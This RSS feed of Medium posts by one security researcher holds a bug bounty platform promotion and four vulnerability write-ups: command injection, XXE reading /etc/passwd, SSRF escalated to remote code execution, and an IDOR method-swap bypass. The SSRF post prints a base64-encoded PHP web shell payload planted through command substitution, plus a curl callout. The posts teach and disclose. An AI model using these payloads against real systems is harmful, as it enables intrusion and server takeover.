<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muhammad Qasim on Medium]]></title>
        <description><![CDATA[Stories by Muhammad Qasim on Medium]]></description>
        <link>https://medium.com/@m_kasim2?source=rss-914564718d4a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*O48buYKmbSp1VPN6I-ti4g.jpeg</url>
            <title>Stories by Muhammad Qasim on Medium</title>
            <link>https://medium.com/@m_kasim2?source=rss-914564718d4a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 10:23:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@m_kasim2/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pakistan’s First Bug Bounty Platform: Meet BugChase.com]]></title>
            <link>https://medium.com/@m_kasim2/pakistans-first-bug-bounty-platform-meet-bugchase-com-45ba3a7e53db?source=rss-914564718d4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/45ba3a7e53db</guid>
            <category><![CDATA[saas]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Muhammad Qasim]]></dc:creator>
            <pubDate>Wed, 29 Jul 2026 15:13:42 GMT</pubDate>
            <atom:updated>2026-07-29T15:13:42.398Z</atom:updated>
            <content:encoded><![CDATA[<p>Every day, local businesses in Pakistan are taking big steps toward going digital. Whether it’s banking apps, shopping sites, or digital wallets, our everyday lives live on our smartphones and laptops. But as our local tech world expands, so does the risk of getting hacked.</p><p>Most people don’t think about cybersecurity until something goes wrong — a leaked database, a compromised account, or a system outage. Traditional ways of testing security, like hiring a firm once a year for an audit, just can’t keep up with modern threats.</p><p>That’s where<strong> </strong><a href="https://bugchase.com/"><strong>bugchase.com</strong></a> enters the picture, stepping up as a homegrown bug bounty platform designed to connect local companies with the people who know how to protect them best: <strong>ethical hackers</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vZSsID1ZgsfIxyYuJjm2Pg.png" /></figure><h3>What Does BugChase Actually Do?</h3><p>Think of BugChase as a digital meeting place for two groups who really need each other:</p><ol><li><strong>Companies</strong> that want to make sure their apps and websites are safe.</li><li><strong>Ethical Hackers</strong> (also called white-hat hackers) who find security flaws before the bad guys do.</li></ol><p>Instead of paying massive upfront fees for a standard security checkup, a business can list its app on BugChase. Ethical hackers then test the system for vulnerabilities. If a hacker finds a real issue — like a loophole that could leak customer data — they submit a detailed report, get rewarded, and the company fixes the problem.</p><p>It’s simple, effective, and built on results.</p><h3>Why Pakistan Needs a Platform Like This</h3><p>For a long time, Pakistan’s cybersecurity talent didn’t have many structured outlets close to home. Here is why BugChase stands out for the local market:</p><h3>1. Giving Local Talent a Platform</h3><p>Pakistan is packed with young, self-taught tech talent. In the past, local security researchers had to rely entirely on big international platforms like HackerOne to get recognized. BugChase gives them a local space to build their skills, earn a living, and establish a real track record without having to leave the country.</p><h3>2. Making Security Practical for Startups</h3><p>Not every Pakistani startup can afford an expensive full-time security team. BugChase lowers the bar for smaller businesses, letting them pay only when valid bugs are discovered. That means startups don’t have to choose between saving money and keeping customer data safe.</p><h3>3. Safer Digital Growth</h3><p>As local banks, e-commerce stores, and government services move online, maintaining public trust is essential. Having an active, community-backed defensive network helps ensure that our local cyberspace stays stable as it grows.</p><h3>How It Works in Practice</h3><p>Security on a platform like BugChase relies on clear, simple boundaries:</p><ul><li><strong>Responsible Reporting:</strong> Hackers are given explicit rules on what they can and cannot test. The goal is to spot flaws without crashing systems or exposing actual user data.</li><li><strong>Flexible Options:</strong> A company can choose a <strong>public program</strong> (open to the wider community) or a <strong>private program</strong> (accessible only to trusted, top-ranked researchers).</li><li><strong>Pay for Impact:</strong> Bounties are awarded based on how critical the bug is. A minor glitch gets a small payout, while a major security flaw earns a significant reward.</li></ul><p>Cybersecurity isn’t just an “IT department problem” anymore, it’s something that affects anyone using a phone or shopping online. Platforms like <a href="https://bugchase.com/"><strong>BugChase.com</strong></a> are helping change the narrative in Pakistan, shifting the focus from reacting to hacks toward preventing them in the first place.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45ba3a7e53db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting OS Command Injection — A Real-World Scenario]]></title>
            <link>https://medium.com/@m_kasim2/exploiting-os-command-injection-a-real-world-scenario-4a2db1733137?source=rss-914564718d4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a2db1733137</guid>
            <dc:creator><![CDATA[Muhammad Qasim]]></dc:creator>
            <pubDate>Sat, 09 Nov 2024 15:03:17 GMT</pubDate>
            <atom:updated>2024-11-09T15:03:17.829Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting OS Command Injection — A Real-World Scenario</h3><h3>Introduction</h3><p>OS command injection vulnerabilities allow an attacker to execute arbitrary commands on the host system via a vulnerable application. These vulnerabilities typically occur when user-supplied input is not properly validated, leading to unexpected execution of commands.</p><h3>Discovery and Reconnaissance</h3><p>During my routine reconnaissance, I came across a subdomain: xyz.example.com. As with any subdomain discovery, the next step was to enumerate its directories and endpoints using tools like <strong>dirsearch</strong>.</p><pre>dirsearch -u https://xyz.example.com -e php,html,js</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U21URESVH93ub2vRf7WOVg.png" /></figure><h3>Finding Hidden Parameters with Arjun</h3><p>After locating /php/ping.php, I suspected it might accept parameters, which would make it a strong candidate for potential injection points. To identify any hidden parameters on the endpoint, I used <strong>Arjun</strong>, a powerful tool for detecting parameters that can be missed during manual testing.</p><pre>arjun -u https://xyz.example.com/php/ping.php</pre><p>Arjun identified a hidden parameter called hostname, which seemed like it could potentially accept user input for performing operations related to hostnames or IP addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*lJMeFeaCkbGTqIBiyZyJkg.png" /></figure><h3>Testing the hostname Parameter</h3><p>With the hostname parameter revealed, I proceeded to test it with a basic input to observe its behavior. Typically, such parameters in ping endpoints might ping an IP or hostname specified by the user. I started by testing it with an <strong>XSS payload</strong> to see if it would trigger, which it did, hinting at improper input validation.</p><pre>https://xyz.example.com/php/ping.php?hostname=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGlf535Wts5KSK14IKBgkQ.png" /></figure><h3>Attempting OS Command Injection</h3><p>Given the lack of input validation, I hypothesized that this endpoint might be vulnerable to <strong>OS command injection</strong>. Command injection allows attackers to append additional system commands to the expected ones. To test this theory, I used the payload:</p><pre>https://xyz.example.com/php/ping.php?hostname=|dir</pre><h3>Confirming the Vulnerability</h3><p>Upon sending this request, the application returned a list of directories from the server, confirming that it was vulnerable to OS command injection. This output suggested that any arbitrary commands injected into this parameter could be executed on the underlying system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcZHjout3TJM0NSCv9YeDw.png" /></figure><h3>Conclusion</h3><p>OS command injection is a high-severity vulnerability that can lead to a complete system compromise if exploited effectively.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a2db1733137" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XML — External Entity Interaction in Auto Discover End-point]]></title>
            <link>https://medium.com/@m_kasim2/xml-external-entity-interaction-in-auto-discover-end-point-12434a5ab82d?source=rss-914564718d4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/12434a5ab82d</guid>
            <dc:creator><![CDATA[Muhammad Qasim]]></dc:creator>
            <pubDate>Thu, 17 Oct 2024 07:39:19 GMT</pubDate>
            <atom:updated>2024-10-17T07:39:19.783Z</atom:updated>
            <content:encoded><![CDATA[<h3>XML — External Entity Interaction in Auto Discover End-point</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*0Q6op1ga_-tN3WrmVCC19A.jpeg" /></figure><p>In this article, I will share a real-world example where I found an XXE vulnerability in the Autodiscover endpoint of a webmail service (mail.xyz.example.com). Through this, we&#39;ll learn how XXE works and how attackers can exploit misconfigured XML parsers to gain unauthorized access to sensitive information.</p><h3>What is XXE?</h3><p>An XML External Entity (XXE) attack occurs when an attacker injects malicious XML content into an application that parses XML.</p><h3>Target: Autodiscover Endpoint</h3><p>During testing, I encountered an Auto discover endpoint at mail.xyz.example.com, which is designed to handle automatic email configuration requests. These endpoints are common in email services such as Microsoft Exchange.</p><p><strong>Vulnerable Endpoint:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*5JSweiCSPjbIxDCzyT-ztA.png" /></figure><p>The Content-Type in the header was set to application/xml, meaning the endpoint expected XML-formatted data. This made it a prime target for XXE injection testing.</p><h3>Crafting the Malicious Payload and Request</h3><p>The next step was to craft a malicious XML payload. I included an external entity definition in the XML body and referenced a file on the server (/etc/passwd), a common target during security tests:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqWMLsYU-25fjuc9hgciyw.png" /></figure><p><strong>Data Disclosure</strong>: As expected, the contents of the /etc/passwd file were returned in the response, confirming that the XXE attack was successful and the server was vulnerable.</p><h3>Impact</h3><p>In this case, the server leaked sensitive file contents, specifically the /etc/passwd file. Although this file typically doesn’t contain passwords, it provides valuable information about the system, such as usernames and user directories</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*oGHVQr1OtCIR1U1hI7oTVg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12434a5ab82d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From SSRF to RFI: Exploiting a Vulnerability to Gain Remote Code Execution]]></title>
            <link>https://medium.com/@m_kasim2/from-ssrf-to-rfi-exploiting-a-vulnerability-to-gain-remote-code-execution-6f3d75d91756?source=rss-914564718d4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f3d75d91756</guid>
            <dc:creator><![CDATA[Muhammad Qasim]]></dc:creator>
            <pubDate>Sat, 31 Aug 2024 17:41:51 GMT</pubDate>
            <atom:updated>2024-08-31T17:41:51.787Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>During a routine manual reconnaissance while targeting a web application, I stumbled upon a vulnerability that allowed me to escalate from a Server-Side Request Forgery (SSRF) to a Remote File Inclusion (RFI). This led to the eventual execution of arbitrary commands on the target server, resulting in a full compromise. Here’s a detailed write-up of how the attack was discovered and executed.</p><h3>Initial Reconnaissance</h3><p>As part of my reconnaissance process, I was performing a search on Shodan to identify potential IP addresses related to my target. I came across an interesting IP address, 8.8.8.8, which seemed to be owned by my target. A quick inspection revealed a login form on the web server, indicating that this might be a critical endpoint.</p><h3>Directory Enumeration</h3><p>To explore the web server further, I used dirsearch combined with the SecLists wordlist to enumerate directories and endpoints. This led me to discover a potentially vulnerable endpoint: /service.pdfs/confluence/.</p><h3>Parameter Discovery</h3><p>Next, I employed Arjun, a tool for discovering hidden GET &amp; POST parameters, to find additional parameters on this endpoint. Arjun revealed two parameters: file and pluginPath. Both appeared to be vulnerable, and I decided to dig deeper.</p><h3>Exploiting SSRF</h3><p>I suspected that the file parameter might be vulnerable to SSRF. To test this, I used Burp Suite&#39;s Collaborator to generate a unique URL and then made the following request:</p><p><em>http://8.8.8.8/service.pdfs/confluence?file=curl &lt;Burp Collaborator URL&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDOJTXF3WbVS1tmE_H_c5Q.png" /></figure><h3>Attempting Remote File Inclusion (RFI)</h3><p>With SSRF confirmed, I aimed to exploit this further by injecting a payload that could result in Remote File Inclusion (RFI). My goal was to create a PHP web shell on the target server.</p><p>Initially, I attempted to inject the following payload through the file parameter:</p><p><em>http://8.8.8.8/service.pdfs/confluence?file=$(echo+PD9waHAgc3lzdGVtKCRfR0VUWydmdXNpb25sYWJzJ10pOyA/Pg==+|+base64+-d+&gt;/var/www/html/Qasim.php)</em></p><p>However, after several attempts, this method failed to execute as intended.</p><h3>Success with the pluginPath Parameter</h3><p>Not discouraged, I decided to test the pluginPath parameter. The hypothesis was that this parameter might allow the inclusion of a file or execution of a command on the server.</p><p>I crafted the following request:</p><p><a href="http://8.8.8.8/service.pdfs/confluence?file=userguide&amp;pluginPath=$(echo+PD9waHAgc3lzdGVtKCRfR0VUWydmdXNpb25sYWJzJ10pOyA/Pg==+|+base64+-d+"><em>http://8.8.8.8/service.pdfs/confluence?file=userguide&amp;pluginPath=$(echo+PD9waHAgc3lzdGVtKCRfR0VUWydmdXNpb25sYWJzJ10pOyA/Pg==+|+base64+-d+</em></a><em>&gt;/var/www/html/Qasim.php)</em></p><p>To confirm the RFI and check if the web shell was successfully uploaded, I navigated to: <a href="http://8.8.8.8/Qasim.php?fusionlabs=id"><strong><em>http://8.8.8.8/Qasim.php?fusionlabs=id</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2mn57UT4mfy6J4RhRso_yg.png" /></figure><p>Boom! The command executed successfully, returning the output of the id command. With the web shell in place, I was able to delete, create, move files, and execute network commands, gaining full control over the server.</p><h3>Conclusion</h3><p>This exercise demonstrates the importance of thorough reconnaissance and parameter discovery in identifying vulnerabilities. By leveraging SSRF and creatively using the pluginPath parameter, I was able to escalate the vulnerability into a full Remote File Inclusion, leading to Remote Code Execution. Always remember, responsible disclosure is key, and vulnerabilities like these should be reported to the relevant parties to ensure they are fixed and systems are secured.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f3d75d91756" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR — 403 to 200 Ok]]></title>
            <link>https://medium.com/@m_kasim2/idor-403-to-200-ok-2e1019decaa5?source=rss-914564718d4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e1019decaa5</guid>
            <dc:creator><![CDATA[Muhammad Qasim]]></dc:creator>
            <pubDate>Fri, 30 Aug 2024 12:55:08 GMT</pubDate>
            <atom:updated>2024-08-30T12:55:08.956Z</atom:updated>
            <content:encoded><![CDATA[<h3>IDOR — 403 to 200 Ok</h3><p>In the world of cybersecurity, finding and exploiting vulnerabilities is a critical skill. One such vulnerability is the Insecure Direct Object Reference (IDOR), where an attacker can manipulate an identifier to access unauthorized resources. In this article, I’ll walk you through a practical example of how an IDOR vulnerability was exploited, leading to unauthorized access.</p><p><strong>The Scenario:</strong></p><p>Let’s consider a hypothetical website, redacted.com. I discovered an IDOR vulnerability in this site by following these steps:</p><ol><li><strong>Login and Access Profile Settings</strong>: After logging into redacted.com, I navigated to the profile settings page where users can edit their profiles.</li><li><strong>Intercepting the Request</strong>: Using a tool like Burp Suite, I intercepted the request sent when editing the profile. The request was made to the endpoint redacted.com/api/users/149249181.</li><li><strong>Analyzing the Response</strong>: Upon sending the request to the endpoint, I received a response containing my profile data. This confirmed that the endpoint was returning data based on the user ID provided in the URL.</li><li><strong>Exploiting the IDOR</strong>: To test the IDOR vulnerability, I altered the user ID in the endpoint to redacted.com/api/users/149249180 (which is one less than my ID) and sent the request. This resulted in a 403 Forbidden response, indicating that access was denied for this user ID.</li><li><strong>Method Manipulation</strong>: To further investigate, I changed the HTTP request method from PUT to GET. Surprisingly, this alteration allowed me to bypass the restriction and receive a 200 OK response with the details of another user.</li></ol><p><strong>The Exploit:</strong></p><p>Here’s a step-by-step breakdown of the exploitation:</p><ol><li><strong>Initial Request (PUT Method)</strong>:</li></ol><ul><li><strong>Endpoint</strong>: redacted.com/api/users/149249181</li><li><strong>Method</strong>: PUT</li><li><strong>Response</strong>: 200 OK (My profile data)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zlMoqB635IRupZM4DI6Rvg.png" /></figure><ol><li><strong>Attempted Exploit (PUT Method)</strong>:</li></ol><ul><li><strong>Endpoint</strong>: redacted.com/api/users/149249180</li><li><strong>Method</strong>: PUT</li><li><strong>Response</strong>: 403 Forbidden (Access Denied)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9W6Sn-jP6RxTOA_Bs55lpg.png" /></figure><ol><li><strong>Successful Exploit (GET Method)</strong>:</li></ol><ul><li><strong>Endpoint</strong>: redacted.com/api/users/149249180</li><li><strong>Method</strong>: GET</li><li><strong>Response</strong>: 200 OK (Another user’s profile data)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KJdOmKqlAbRLB2T0qy6vtg.png" /></figure><h4>Conclusion</h4><p>IDOR vulnerabilities can be exploited in various ways, and the method-based access control bypass shown here highlights the importance of comprehensive security measures. By understanding and addressing these vulnerabilities, you can significantly improve the security of your applications and protect sensitive user data.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e1019decaa5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>